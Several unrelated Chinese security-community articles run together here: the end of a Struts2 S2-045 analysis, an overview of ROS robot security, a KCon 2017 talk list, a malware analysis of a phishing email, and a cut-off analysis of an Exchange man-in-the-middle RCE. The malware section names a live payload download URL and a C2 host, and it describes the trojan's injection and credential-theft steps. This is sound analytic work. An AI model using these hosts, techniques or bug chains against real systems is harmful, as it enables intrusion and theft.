继续跟进发现在这里，有valuestack参与。这个valuestack，熟悉Struts2的同学应该知道，这个是表达式计算的数据结构。也就是为OGNL解析做准备的了。
跟进findText()，发现在这里，errormessage进行处理
跟进去看到，已经把errormessage当作ognl表达式处理了。再继续跟，就是表达式处理的过程了，感兴趣的同学可以试一下。
**
**
**总结**
以上分析为个人分析，感谢360GearTeam和0Kee Team小伙伴们的支持。
**参考文献**
1． <http://www.cnvd.org.cn/webinfo/show/4080>
2．
[http://bobao.360.cn/learning/detail/3574.html](http://bobao.360.cn/learning/detail/3574.html)
3．
[https://github.com/apache/struts/commit/352306493971e7d5a756d61780d57a76eb1f519a](https://github.com/apache/struts/commit/352306493971e7d5a756d61780d57a76eb1f519a)
4．
[https://cwiki.apache.org/confluence/display/WW/S2-045](https://cwiki.apache.org/confluence/display/WW/S2-045) | 社区文章 |
**作者：京东安全 Dawn Security Lab
原文链接：<https://dawnslab.jd.com/rossec01/ros1.pdf>**
## 前言
国际机器人联盟（IFR）将机器人划分成[工业机器人](https://dawnslab.jd.com/rossec01/ros1.pdf)和[服务机器人](https://ifr.org/service-robots)两类。工业机器人出现较早主要用 于自动化制造领域，如焊接、装配等；服务机器人指用于非制造领域、以服务为核心的自主或半自主机器
人，包括个人/家用服务机器人（扫地）、商用服务机器人（接待/巡检）、物流/仓储机器人（搬运/分 拣）、医疗服务机器人（运送/辅助）等。IFR World
Robotics 2020 预测服务机器人继续保持高速发展。
与传统工业机器人相比，服务机器人的工作环境更开放、网络连接更丰富、功能应用更智能，和用
户、环境、数据的交互更深入，随着服务机器人在多领域推广应用，机器人的安全、数据和隐私保护等问 题越来越受到关注。
当前服务机器人主流基于开源机器人操作系统 ROS 构建，故 ROS 系统安全性也成为研究热点。本文 主要介绍机器人操作系统 ROS
及其安全演进，重点介绍机器人系统 ROS 安全风险和威胁、对应安全方案 和演进趋势。
## ROS 背景知识
### ROS 发展简介
ROS（Robot Operating System）虽然名字叫操作系统，但并非传统意义的操作系统（如 Linux、 Windows、Android
等），而是一种开源的机器人软件中间件（Robotics Middleware）。ROS 通过集成软件
库、协议、工具等组件，构建适合多种机器人的通用软件框架，提高代码复用，降低开发难度，在机器 人、无人机、自动驾驶等产品得到广泛应用。
ROS 项目最早可追溯到斯坦福大学的 STAIR（Stanford Artificial Intelligence Robot）和 PR（Personal
Robotics） 研究项目。2007 年 Willow Garage 公司参与合作并基于 ROS 早期原型开发了 PR2 产品 （Personal
Robotics 2）。2010 年 1 月 ROS 1.0 (PR2 Milestone 3)第一个版本发布，2010 年 7 月 PR2 产品
开始上线和销售。2012 年开源机器人基金会 Open Source Robotics Foundation（OSRF）成立，2013 年 ROS
项目移交给 OSRF（2017 年更名为 Open Robotics）并维护至今。
ROS 1.0 logo ROS 历史上有两个大版本，即 ROS 1.0 和 ROS2.0。为使 ROS 版本有相对稳定的开发环境，版本发布有 节奏跟随
Ubuntu 发行版，详情可参考 ROS1 Release Schedule 或 ROS2 Release Schedule。
ROS 1.0 活跃版本信息如下左图所示，2020 年 Noetic 是 ROS 1.0 最后一个官方 LTS 版本。未来 ROS 社 区主要发布和维护
ROS 2.0 版本。ROS 2.0 版本信息如下右图所示，最新 LTS 版本为 Foxy。
### ROS 架构简介
#### ROS 1.0 架构
ROS 1.0 设计目标是解决：因缺乏通用软件组件，导致机器人应用或硬件有差异时，软件复用率低、
开发量巨大的问题。应用场景主要聚焦在：专业用户（科研团队）、封闭环境（实验室等）、单机器人、无 实时性要求等。安全不在设计目标内。
ROS 1.0 架构核心是基于 message 的松耦合、分布式架构。核心概念包括：
* 【Node】执行特定任务的进程。一个可执行程序可以创建一个或多个 node
* 【Master】特殊 node，提供全局管理功能和服务，如参数服务、node 查找、消息注册等
* 【Message】node 之间的通信消息体，类似 OS 消息概念
* 【Topic】消息发布和接收的载体，publish-subscribe 机制，异步通信
* 【Services】另一种基于消息的通信机制，request-reply 机制，同步通信
#### ROS 2.0 架构
随着 ROS 1.0 和各种机器人产品应用推广，涌现了新的 ROS 需求，如多机器人支持、嵌入式平台支
持、实时性需求、商用产品质量、开放环境等。同时开源社区也出现众多可借鉴的技术，如 DDS（Data Distribution
Service）数据分发服务。在上述背景下，ROS 重新设计开发了 2.0 版本。
ROS 2.0 相比 ROS 1.0 的主要差异点可参考下图，主要在于 ： 1）新特性：多机器人系统支持、良好的通信实时性、商用级代码质量、嵌入式平台支持
2）取消 master 节点，实现“去中心化” 3）引入 DDS 中间件，替换 ROS 1.0 自研消息通信机制 4）支持多种 Host OS 平台，如
Linux、Windows、Mac、RTOS 5）安全，DDS 协议有 5 大安全标准（下图 Plugin），ROS 2 利用 DDS
安全特性解决了身份认证、加 密通信、访问控制等已知风险
### ROS 系统搭建
ROS 作为中间件，需运行在 Host OS 之上。当前官方支持 Host 有 Ubuntu Linux、Windows、macOS。 第 6 页 / 共
11 页 以 Ubuntu 为例，ROS 支持 apt 安装和源码安装两种方式。读者可参考安装并运行 demo 体验 ROS 机制。
业界也有更丰富的机器人仿真环境，如 TurtleBot3 Simulation，感兴趣读者可自行参考。
## 机器人安全分析
### 安全研究
机器人系统是一种 Cyber-Physical System，特点是网络领域的威胁攻击最终可能影响到物理世界安
全。我们回顾业界机器人安全研究文章（见下图），将其分为三个阶段：
**第一阶段** ，2008-2012 年 ROS 发展初期，研究对象相对零散具体，表现在对特定机器人应用场景的威 胁分析，比如救援机器人（Rescue
Robot）、家用机器人（Household Robots）、远距医疗机器人 （Telesurgical Robot）、无人机（Unmanned
Aerial Vehicle）等。风险分析主要聚焦在远程通信和控制安全， 如高效远程认证、远距医疗 ITP（Interoperable
Telesurgery Protocol）协议等；另外也有相对综合性的分
析，如对家用机器人和无人机产品的系统级安全和隐私分析。这些研究侧面反映了当时机器人缺乏统一底 层框架、缺乏通用远程架构的情况。
**第二阶段** ，2013-2017 年 ROS 1.0 发展成熟期，涌现了大量面向 ROS 机器人的安全分析和方案，相比 第一阶段，研究对象更聚焦
ROS 框架，同时呈现许多新特征。具体如下：
2012 年 Defcon@20 会议现场，研究者举办了一个针对 ROS 小车的攻击测试，结果发表在 2013 年《A preliminary cyber-physical security assessment of the Robot Operating System (ROS)》论文中。测试显示，
攻击者可成功发送指令控制小车，同时也出现了摄像头功能失效、本地控制主机硬盘错误等无法分辨是攻 击还是软件异常的情况。一方面验证了 ROS
系统已知安全风险(如无身份认证、明文通信等)，一方面也反 映了 Cyber-Physical
系统的复杂性。下图是该测试小车、软件架构、现场部署环境（图片引自上述论文）。
该测试和论文成果开启了对 ROS 的安全研究热潮，并呈现出新趋势：从对单一机器人场景到共性安全 问题分析、从对特定机器人架构到对通用 ROS 框架分析、从
ROS Application-level 应用层方案到 ROS 框架通信层（Communication
Channel）、从通信安全到系统访问控制、从安全特性到安全性能评估、从 ROS 框 架安全到机器人全系统安全。
在这些分析过程中，ROS 1.0 框架主要安全风险充分暴露：匿名通信无身份认证、消息明文传输、缺少 访问控制等。ROS 1.0 安全风险是有根源的，因为
ROS 1.0 设计之初就没有将安全作为目标和需求。关于这 点，Open Robotics 的 CEO Brian Gerkey 在 2016 年 ROS-Industrial Conference 有过如下表述“If you claim that you’ve found a security hole in
ROS 1, you’re lying; there is no security”。
在此阶段，也涌现了多个针对 ROS 1.0 主要风险的安全方案，如 roauth、ROSRV、SROS 等。方案详情 请参考 4.1 章节。
2017 年《The Role of Security in Human-Robot Shared Environments A Case Study in
ROS-based Surveillance Robots》文章是一次综合考虑风险和消除方案、定制化安全（如多机器人通信协同）需求、
全系统设计的尝试。下图是其 STOP R&D 项目综合安全分析和消除方案。
**第三阶段** ，2018 年后 ROS 2.0 发展期，随着 2.0 架构升级和 DDS 集成，安全研究呈现两个特点，一是 研究对象从 ROS 1.0
过度到 ROS 2.0，二是对安全方案性能的分析。
首先，ROS 2.0 采用 DDS 替换了 ROS 1.0 自研的 publish-subscribe 通信机制。而 DDS 本身有 Security
安全协议规范，因此 ROS 2.0 安全主要基于 DDS-Security。ROS 2.0 中 DDS-Security 默认不使能，使能 DDS-Security 需打开配置并重新编译。
《Robot Operating System 2: The need for a holistic security approach to
robotic architectures》综合分 析了 ROS2 系统的安全风险，并针对 DDS-Security 使能和安全配置项（如
governance policy）对性能影响 进行了定性分析。
也有对具体性能的定量分析。如《Message encryption in robot operating system: Collateral
effects of hardening mobile robots》继承 2016 年性能分析文章，评估 3
种算法（3DES、AES、Blowfish）对不同类 型消息加密后的性能（时延、吞吐量）、系统（网络负载增量、CPU 占用率、电池损耗）的影响，提出了
针对不同消息类型，有策略的选择加密算法的观点。《Security and Performance Considerations in ROS 2: A
Balancing Act》针对 ROS2 使能 DDS-Security 进行了深度分析，对比了 ROS 2、ROS 2 + DDS Security
Enable、ROS 2 + VPN 三种场景下通信性能指标，结果显示使能 DDS-Security 时性能均有不同程度劣化。
上述针对 ROS 2+DDS 的定性和定量分析，都显示使能 DDS-Security 安全后性能下降比较严重。但同时 也应该注意到，ROS 2 +DDS-Security 实际是可以根据安全需求进行精细化配置的，性能调优有较大空间。
### 威胁建模
在业界关于机器人系统安全研究基础上，ROS 社区创建了ROS 2 Threat Model 威胁分析模型，对基于 ROS 2
的机器人系统，进行了全方位的威胁建模。采用业界标准的 STRIDE 和 DREAD 分析方法，定义系统
元素并绘制数据流图，再对各元素进行威胁分析、制定风险消除方案。分析维度全面，可归纳概括有：内
外部通信、远程控制/应用接口、主机系统和内核、端侧数据存储、云服务和云存储、云-端通信服务等。 下图是 ROS 2 系统通用 STRIDE
数据流图。实际上针对具体产品，由于通信方式、业务功能、云-端服 务部署等差异，数据流图可能要复杂的多，需要具体分析。可参考[Turtlebot3
的威胁分析](https://design.ros2.org/articles/ros2_threat_model/ROS2_Application.png)。
### 安全设计
在上述安全研究和威胁建模分析过程中，业界对 ROS 安全方案设计主要有两种思路： 一种是网络隔离，即利用专网、VPN、防火墙等手段，构建 ROS
网络隔离区，缩小风险面。 另一种是基于 ROS 框架进行安全加固，代表有前文提到的 ROS 1.0 阶段的 rosauth、ROSRV、SROS 等、以及
ROS 2.0 阶段的 SROS2。
* * * | 社区文章 |
「KCon 黑客大会2017」在经过高质量的闭门培训，以及两天干货议题演讲过后，于8月28日圆满落幕。
目前，应各位参会者的要求，并通过与演讲者的沟通取得同意后，我们现在将公布18大议题中的11个议题PPT！
#### 智能门锁的“天灾人祸”
###### 演讲者：蝴蝶
物联网智能设备普遍被用于生活之中，智能门锁亦是如此，例如火遍大江南北的共享单车配备的智能锁。当我们在享受智能设备带来的便捷时，是否忽略了智能设备的安全隐患？本议题以蓝牙低能耗智能门锁为研究目标，剖析基于蓝牙低能耗协议的智能门锁存在的安全问题，分别介绍几款智能门锁的研究案例，深入了解蓝牙低能耗智能门锁的“天灾人祸”。
[【点击下载】](https://github.com/knownsec/KCon/blob/master/2017/%5BKCon%202017%5D0826_5_%E8%9D%B4%E8%9D%B6_%E6%99%BA%E8%83%BD%E9%97%A8%E9%94%81%E7%9A%84%E2%80%9C%E5%A4%A9%E7%81%BE%E4%BA%BA%E7%A5%B8%E2%80%9D.pdf)
* * *
#### 重现速8僵尸车队
###### 演讲者：杨晋
Bluetooth Low Energy(BLE)协议作为智能硬件产品最常使用的近距离无线通信技术，其安全性受到了越来越多的关注。本次议题围绕对使用 BLE
协议的设备的定位，嗅探，协议分析和攻击等方面来展开。最后给出攻击一辆 BLE 智能小车的案例，模拟出电影速度与激情8里面那个僵尸车队的情景。
[【点击下载】](https://github.com/knownsec/KCon/blob/master/2017/%5BKCon%202017%5D0826_6_%E6%9D%A8%E6%99%8B_%E9%87%8D%E7%8E%B0%E9%80%9F8%E5%83%B5%E5%B0%B8%E8%BD%A6%E9%98%9F%EF%BC%88%E8%93%9D%E7%89%994.0%20BLE%E5%8D%8F%E8%AE%AE%E7%9A%84%E8%BF%9B%E6%94%BB%EF%BC%89.pdf)
* * *
#### 玩转无人机攻防
###### 演讲者：KEVIN2600
本议题将首先从攻的角度介绍攻击并劫持当下民用和商用无人机常用方法, 范围将涉及无人机遥控信号干扰; 协议逆向分析; 无人机协议 Fuzzing
等。随后再从个人隐私保护的角度介绍当下比较普遍的保护方式，并提供一套科幻的无人机应急防御方案。
[【点击下载】](https://github.com/knownsec/KCon/blob/master/2017/%5BKCon%202017%5D0826_9_KEVIN2600_%E7%8E%A9%E8%BD%AC%E6%97%A0%E4%BA%BA%E6%9C%BA%E6%94%BB%E9%98%B2.pdf)
* * *
#### 如何DIY一套低成本反无人机系统
###### 演讲者：杨芸菲
基于无人机监管相关政策尚未形成，现有反无人机解决方案无法落地，同时持续不断的无人机黑飞造成大量安全事件的现状，我们提出了一套低成本反无人机解决方案。此方案不需要特殊的硬件、软件，甚至每个人在自己家里都能快速搭建这套反无人机系统。
[【点击下载】](https://github.com/knownsec/KCon/blob/master/2017/%5BKCon%202017%5D0827_1_%E6%9D%A8%E8%8A%B8%E8%8F%B2_%E5%A6%82%E4%BD%95DIY%E4%B8%80%E5%A5%97%E4%BD%8E%E6%88%90%E6%9C%AC%E5%8F%8D%E6%97%A0%E4%BA%BA%E6%9C%BA%E7%B3%BB%E7%BB%9F.pdf)
* * *
#### 第五代加固技术ARM VMP原理实现与应用
###### 演讲者：陈愉鑫
基于 ARM 平台的 VM 代码虚拟化保护技术能更好的保护 Android 原生库及其它大部分运行在 ARM
芯片上的原生代码，保护效果显著，极大增强了代码的安全性，有效防止技术外泄。在演讲中，我将提到 VM 指令集的设计、VM 解释器的设计以及 VM
编译器的设计。我将使用 Capstone 作为反汇编引擎，统一接口对 ARM/Thumb/x86/MIPS 进行编译，最终统一成自定义的 VM
指令集，能快速扩展支持的指令集。
[【点击下载】](https://github.com/knownsec/KCon/blob/master/2017/%5BKCon%202017%5D0827_3_%E9%99%88%E6%84%89%E9%91%AB_%E7%AC%AC%E4%BA%94%E4%BB%A3%E5%8A%A0%E5%9B%BA%E6%8A%80%E6%9C%AFARM%20VMP%E5%8E%9F%E7%90%86%E5%AE%9E%E7%8E%B0%E4%B8%8E%E5%BA%94%E7%94%A8.pdf)
* * *
#### 探索虚拟化技术在漏洞检测中的应用
###### 演讲者：仙果
硬件虚拟化技术作为一项新兴的技术，一直所在的领域是服务器领域，如何把这种技术应用于网络攻防对抗方面，解决软件漏洞检测痛点，本议题提出了使用虚拟化技术来进行软件漏洞防御：
1. 使用 VT 对抗反虚拟机技术。
2. EPT 技术打开了一个新的大门，在传统的系统中，内存要想执行，就必须具备可执行+可读的权限，EPT 的出现，可以把执行属性和可读属性区分开来。
指令跟踪技术通过 MTF，EPT 等各种手法可以做到指令跟踪（包括内核指令）,从程序执行指令流来检测漏洞。
3. 跟踪 shellcode 执行流。
4. 模拟器具备更灵活的检测思路，例如利用模拟器来 FUZZ，可以检测内核信息泄漏之类的漏洞。
[【点击下载】](https://github.com/knownsec/KCon/blob/master/2017/%5BKCon%202017%5D0827_4_%E4%BB%99%E6%9E%9C_%E6%8E%A2%E7%B4%A2%E8%99%9A%E6%8B%9F%E5%8C%96%E6%8A%80%E6%9C%AF%E5%9C%A8%E6%BC%8F%E6%B4%9E%E6%A3%80%E6%B5%8B%E4%B8%AD%E7%9A%84%E5%BA%94%E7%94%A8.pdf)
* * *
#### Webkit Vulnerability form 0 to 1
###### 演讲者：Lockmanxxx
浏览器漏洞挖掘是一个长盛不衰的话题，一直处于软件漏洞领域的热门，经过长期的发展，目前浏览器漏洞挖掘方面的难度越来越高，同时，漏洞挖掘人员的技术功底在挖掘中显得愈加重要，那么是否有一种高效的挖掘方法，能够大幅度的提升浏览器漏洞的挖掘效率，而且也能使本身没有深入接触过软件产品的人快速上手？本议题将以
Webkit 为例子，分享一种行之有效的方法，用来系统性的进行漏洞挖掘，同时这样的方法也能适用到其它软件产品：
1. 浏览器漏洞挖掘难点。
2. 系统性漏洞挖掘思路的分享。
3. 以 webkit html parser和js parser 为例讲解漏洞挖掘。
4. 挖掘平台的介绍。
5. 代码覆盖率和成果展示。
6. 未来的改进思路。
[【点击下载】](https://github.com/knownsec/KCon/blob/master/2017/%5BKCon%202017%5D0827_5_Lockmanxxx_Webkit%20Vulnerability%20form%200%20to%201.pdf
"点击下载")
* * *
#### powershell的攻击与防御
###### 演讲者：王永涛
在过去的几年中，微软开发开发的 Powershell 随着不断完善成熟，PowerShell
也在不断获得广泛应用。PowerShell为攻击者提供了系统原生功能支持，使得它正在逐渐成为一个非常流行且得力的攻击工具。
[【点击下载】](https://github.com/knownsec/KCon/blob/master/2017/%5BKCon%202017%5D0827_6_%E7%8E%8B%E6%B0%B8%E6%B6%9B_powershell%E7%9A%84%E6%94%BB%E5%87%BB%E4%B8%8E%E9%98%B2%E5%BE%A1.pdf)
* * *
#### 深度解析Bootloader攻击面
###### 演讲者：吴俊豪
如今移动设备的 bootloader 不论是在功能上还是在设备安全上都扮演着重要的角色。
也有越来越多的安全研究人员和攻击者将目光转向了这里，bootloader 将是一份攻防角逐的新战场，议题将就 bootloader 安全进行讨论，提供
bootloader 安全研究的新思路。
[【点击下载】](https://github.com/knownsec/KCon/blob/master/2017/%5BKCon%202017%5D0827_7_%E5%90%B4%E4%BF%8A%E8%B1%AA_%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90Bootloader%E6%94%BB%E5%87%BB%E9%9D%A2.pdf
"【点击下载】")
* * *
#### 从口袋里的伪基站到手持的真基站
###### 演讲者：Seeker
在移动互联网深入普及和物联网开始规模应用的今天，网络安全公司怎能不研究移动安全，要研究移动安全，怎能没有4G／LTE伪基站研究测试环境？
本议题介绍如何组装袖珍化的，可手持，可放在口袋里随身携带的LTE/GSM伪基站，之后介绍将伪基站用于移动安全研究的几种常见场景，并特别介绍将伪基站与运营商核心网连接，升级为真基站，从而大大增强攻击性的方法，最后将给出部分安全建议。
[【点击下载】](https://github.com/knownsec/KCon/blob/master/2017/%5BKCon%202017%5D0827_8_Seeker_%E4%BB%8E%E5%8F%A3%E8%A2%8B%E9%87%8C%E7%9A%84%E4%BC%AA%E5%9F%BA%E7%AB%99%E5%88%B0%E6%89%8B%E6%8C%81%E7%9A%84%E7%9C%9F%E5%9F%BA%E7%AB%99.pdf
"【点击下载】")
* * *
#### 授人以鱼不如授人以渔 教你如何写一个自己的私有越狱
###### 演讲者：蒸米
在这次演讲中，我们会介绍如何打破 iOS 系统的缓解机制并实现一个私有的 iOS 越狱。需要强调的是，在这个私有越狱中，我们利用了不同类型的漏洞，绕过了
iOS 几乎所有的安全机制：通过 NSXPC 实现沙盒逃脱，通过 neagent 和 mach port 绕过 Team ID 和Entitlement
检测，通过 IOHIDFamily 攻击内核，并最终破解内核堆的缓解机制以及
KPP。这次演讲不但提供了明确的思路，还提供了足够的技术细节，希望能够对感兴趣的人有所帮助，并早日写出自己的 iOS 私有越狱。
[【点击下载】](https://github.com/knownsec/KCon/blob/master/2017/%5BKCon%202017%5D0827_9_%E8%92%B8%E7%B1%B3_%E6%8E%88%E4%BA%BA%E4%BB%A5%E9%B1%BC%E4%B8%8D%E5%A6%82%E6%8E%88%E4%BA%BA%E4%BB%A5%E6%B8%94%20%E6%95%99%E4%BD%A0%E5%A6%82%E4%BD%95%E5%86%99%E4%B8%80%E4%B8%AA%E8%87%AA%E5%B7%B1%E7%9A%84%E7%A7%81%E6%9C%89%E8%B6%8A%E7%8B%B1.pdf
"【点击下载】")
* * * | 社区文章 |
# 恶意分析初相逢，警惕邮件木马
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
刚开始接触恶意代码分析，正所谓光说不练假把式，所以在网上找了一个恶意样本进行分析练习，于此记录一下分析过程。
## 样本信息
样本名称：721985.eml
样本md5:c79873c63a56d514600c0df8d497bad3
样本来源：网络来源
## 分析工具
反汇编工具：ida
调试工具：od
分析环境：win xp 虚拟机
Oletools
## 样本分析
### 721985.eml
该样本文件带有一个doc附件，并用诱惑性的语言引导用户打开附件
将附件另存到磁盘上，然后使用oletools套件中的rtfobj.exe看一下是否是有问题的文档
可见该附件中包含一个ole对象，且有可能是CVE-2017-11882的漏洞利用文档。对于CVE-2017-11882这个漏洞网上有很多描述，详情可移步[https://www.anquanke.com/post/id/87311看大佬的详细分析。](https://www.anquanke.com/post/id/87311%E7%9C%8B%E5%A4%A7%E4%BD%AC%E7%9A%84%E8%AF%A6%E7%BB%86%E5%88%86%E6%9E%90%E3%80%82)
漏洞利用文档成功利用运行后，shellcode会由公式编辑器(EQNEDT32.EXE)执行，所以这里将od设置为EQNEDT32.EXE的调试器，用于附加调试shellcode。
设置方法：在注册表HKEY_LOCAL_MACHINESoftwareMicrosoftWindows NTcurrentversionimage file
execution options下新建一个EQNEDT32.EXE项，之后在该项下新建字符串值并将名称改为”
debugger”，并将数值数据设置为od所在路径，如下图所示：
设置成功后，EQNEDT32.EXE一旦启动，od便能附加上去了。
### Shellcode
利用UrlDownloadToFile从<http://tsqm.business-ferien.de/bntwr.exe>
下载可执行文件到%appdata%目录下并命名为fhgytmnbvpwt.exe。
下载成功后利用CreateProcessW启动fhgytmnbvpwt.exe
### fhgytmnbvpwt.exe
下载回来的exe文件经Peid查壳后显示无壳，直接拖到分析神器ida中进行查看，反编译，发现多个autoit字符串，猜测是有autoit编译而成的可执行文件
尝试使用autoit反编译工具Exe2Aut进行反编译，顺利得到autoit脚本
脚本经过大量混淆，增大分析难度，字符串通过hwthr()函数解密获得。分析hwthr()函数，发现解密过程是将第一个参数每四位分割之后减去6111，再将得到的差值转换为字符。这里先通过python脚本解密出所有字符串，注释到脚本内，以增加分析效率，解密注释脚本如下：
### 整理后的autoit脚本
检测进程是否有”SbieCtrl.exe”,” vmtoolsd.exe”来反沙箱/虚拟机
检测“wireshark.exe”进程
检测” avastui.exe”进程
在%Roaming%目录下创建“gKm5yLugSu”文件夹，拷贝自身到该文件夹下，文件名为” gKm5yLugSu.exe”
在开始菜单目录下创建”gKm5yLugSu.eu”快捷方式用于启动”gKm5yLugSu.exe”,并将该文件写入注册表启动项
拷贝当前目录下的”YgkkyzII.LQ “文件到%temp%目录下，命名为” bz.v”
选择RegAsm.exe/MSBuild.exe/dllhost.exe/svchost.exe其中之一作为后续注入的文件，这里选择是
RegAsm.exe。
之后读取bz.v的文件内容，解密后作为shellcode执行：
笔者在这里没有找到调试autoit的工具，所以没法调试shellcode，纠结了一番后选择使用OD调试fhgytmnbvpwt.exe，下ReadFile等断点，成功进行shellcode，调试发现该段shellcode启动一个傀儡进程RegAsm.exe
通过WriteProcessMemory向RegAsm.exe注入一个PE文件
之后通过SetThreadContext,ResumeThread让RegAsm.exe执行注入的内容
### 注入的pe文件
注入的pe文件是一个远控木马，运行后尝试连接” pd1n.ddns.net”请求上线
若连接不成功则一直循环尝试上线，上线后接受命令执行。
该远控木马支持功能如下：
1.获取计算机信息（磁盘，用户名，操作系统）
2键盘记录
3.截屏
4.下载执行
5.获取浏览器保存的相关账户密码
6.获取邮箱账户信息
7.获取进程列表/结束进程
8.移动/删除文件
9.命令执行
部分功能代码：
键盘记录：
获取浏览器相关账户信息：
## ioc
cc:pd1n.ddns.net
## 总结
邮件木马往往危害极大，用户看到诱惑性的内容，一般都会选择打开看看附件内容。而且此类邮件木马往往杀软报毒率也很低,笔者分析的时候此次的样本VT才16家报毒
笔者提醒小伙伴们对邮件采取谨慎的态度，不随便点击来路不明的邮件，且电脑一定要及时的安装补丁。谢谢 ^_^ | 社区文章 |
# Exchange Server 中间人劫持 RCE 漏洞分析
原文：<https://srcincite.io/blog/2021/08/25/pwn2own-vancouver-2021-microsoft-exchange-server-remote-code-execution.html>
## Pwn2Own Vancouver 2021:: Microsoft Exchange Server 远程代码执行
2020 年 11 月中旬，我在 Microsoft Exchange Server
中发现了一个逻辑远程代码执行漏洞，该漏洞有一个奇怪的转折——它需要[在](https://en.wikipedia.org/wiki/Man-in-the-middle_attack)触发之前[进行中间人攻击](https://en.wikipedia.org/wiki/Man-in-the-middle_attack)(MiTM) 。我发现这个错误是因为我正在寻找调用
以`WebClient.DownloadFile`希望发现服务器端请求伪造漏洞，因为在交换服务器内的某些环境中，这种类型的漏洞[可能会产生巨大影响](https://github.com/SecureAuthCorp/impacket/pull/857)。后来，我发现[SharePoint
Server](https://www.zerodayinitiative.com/advisories/ZDI-21-829/)也受到本质上相同的代码模式的影响。
### 漏洞摘要
当管理用户在 Exchange 命令行管理程序中运行`Update-ExchangeHelp`或者`Update-ExchangeHelp
-Force`命令时，处于特权网络位置的未经身份验证的攻击者（例如 MiTM 攻击）可以触发远程执行代码漏洞。
### 漏洞分析
在`Microsoft.Exchange.Management.dll`文件中，定义了`Microsoft.Exchange.Management.UpdatableHelp.UpdatableExchangeHelpCommand`类:
protected override void InternalProcessRecord()
{
TaskLogger.LogEnter();
UpdatableExchangeHelpSystemException ex = null;
try
{
ex = this.helpUpdater.UpdateHelp(); // 1
}
//...
在 _[1] 处_
，代码调用`HelpUpdater.UpdateHelp`方法。在`Microsoft.Exchange.Management.UpdatableHelp.HelpUpdater`类内部，我们看到：
internal UpdatableExchangeHelpSystemException UpdateHelp()
{
double num = 90.0;
UpdatableExchangeHelpSystemException result = null;
this.ProgressNumerator = 0.0;
if (this.Cmdlet.Force || this.DownloadThrottleExpired())
{
try
{
this.UpdateProgress(UpdatePhase.Checking, LocalizedString.Empty, (int)this.ProgressNumerator, 100);
string path = this.LocalTempBase + "UpdateHelp.$$$\\";
this.CleanDirectory(path);
this.EnsureDirectory(path);
HelpDownloader helpDownloader = new HelpDownloader(this);
helpDownloader.DownloadManifest(); // 2
这个函数执行一些操作。第一个是在[2]调用`DownloadManifest`时。让我们来看看`Microsoft.Exchange.Management.UpdatableHelp.HelpDownloader.DownloadManifest`：
internal void DownloadManifest()
{
string downloadUrl = this.ResolveUri(this.helpUpdater.ManifestUrl);
if (!this.helpUpdater.Cmdlet.Abort)
{
this.AsyncDownloadFile(UpdatableHelpStrings.UpdateComponentManifest, downloadUrl, this.helpUpdater.LocalManifestPath, 30000, new DownloadProgressChangedEventHandler(this.OnManifestProgressChanged), new AsyncCompletedEventHandler(this.OnManifestDownloadCompleted)); // 3
}
}
在[3]处，代码`ManifestUrl`调用`AsyncDownloadFile`。当从`InternalValidate`调用`LoadConfiguration`方法时设置`ManifestUrl`:
protected override void InternalValidate()
{
TaskLogger.LogEnter();
UpdatableExchangeHelpSystemException ex = null;
try
{
this.helpUpdater.LoadConfiguration(); // 4
}
internal void LoadConfiguration()
{
//...
RegistryKey registryKey3 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\ExchangeServer\\v15\\UpdateExchangeHelp");
if (registryKey3 == null)
{
registryKey3 = Registry.LocalMachine.CreateSubKey("SOFTWARE\\Microsoft\\ExchangeServer\\v15\\UpdateExchangeHelp");
}
if (registryKey3 != null)
{
try
{
this.ManifestUrl = registryKey3.GetValue("ManifestUrl", "http://go.microsoft.com/fwlink/p/?LinkId=287244").ToString(); // 5
在[4]处代码在验证 cmdlet 的参数时调用 `LoadConfiguration` 。这将 `ManifestUrl`
设置为`http://go.microsoft.com/fwlink/p/?LinkId=287244`如果它不存在于注册表单元：`HKLM\SOFTWARE\Microsoft\ExchangeServer\v15\UpdateExchangeHelp`
(在[5]处)中。默认情况下，它不会这样做，所以值总是`http://go.microsoft.com/fwlink/p/?LinkId=287244`。
回到[3]的`AsyncDownloadFile`，这个方法将使用`WebClient.DownloadFileAsync`
API用于将文件下载到文件系统中。因为我们无法控制本地文件路径，所以这里没有vuln。稍后在UpdateHelp中，我们会看到以下代码:
//...
if (!this.Cmdlet.Abort)
{
UpdatableHelpVersionRange updatableHelpVersionRange = helpDownloader.SearchManifestForApplicableUpdates(this.CurrentHelpVersion, this.CurrentHelpRevision); // 6
if (updatableHelpVersionRange != null)
{
double num2 = 20.0;
this.ProgressNumerator = 10.0;
this.UpdateProgress(UpdatePhase.Downloading, LocalizedString.Empty, (int)this.ProgressNumerator, 100);
string[] array = this.EnumerateAffectedCultures(updatableHelpVersionRange.CulturesAffected);
if (array.Length != 0) // 7
{
this.Cmdlet.WriteVerbose(UpdatableHelpStrings.UpdateApplyingRevision(updatableHelpVersionRange.HelpRevision, string.Join(", ", array)));
helpDownloader.DownloadPackage(updatableHelpVersionRange.CabinetUrl); // 8
if (this.Cmdlet.Abort)
{
return result;
}
this.ProgressNumerator += num2;
this.UpdateProgress(UpdatePhase.Extracting, LocalizedString.Empty, (int)this.ProgressNumerator, 100);
HelpInstaller helpInstaller = new HelpInstaller(this, array, num);
helpInstaller.ExtractToTemp(); // 9
//...
这里有很多东西需要解释。在[6]上，代码搜索下载的清单文件，以查找特定的版本或版本范围，并确保Exchange服务器的版本在该范围内。检查还确保新的修订号高于当前的修订号。如果满足了这些要求，那么代码将继续执行[7]，在这里检查区域性。因为我的目标是英语语言包，所以我将它设置为`en`，以便以后可以构造一个有效的路径。然后在[8]下载并存储`cabineturl`。这是xml清单文件中指定的.cab文件。
最后在[9]，使用`Microsoft.Exchange.Management.UpdatableHelp.HelpInstaller.ExtractToTemp`方法提取cab文件:
internal int ExtractToTemp()
{
this.filesAffected = 0;
this.helpUpdater.EnsureDirectory(this.helpUpdater.LocalCabinetExtractionTargetPath);
this.helpUpdater.CleanDirectory(this.helpUpdater.LocalCabinetExtractionTargetPath);
bool embedded = false;
string filter = "";
int result = EmbeddedCabWrapper.ExtractCabFiles(this.helpUpdater.LocalCabinetPath, this.helpUpdater.LocalCabinetExtractionTargetPath, filter, embedded); // 10
this.cabinetFiles = new Dictionary<string, List<string>>();
this.helpUpdater.RecursiveDescent(0, this.helpUpdater.LocalCabinetExtractionTargetPath, string.Empty, this.affectedCultures, false, this.cabinetFiles);
this.filesAffected = result;
return result;
}
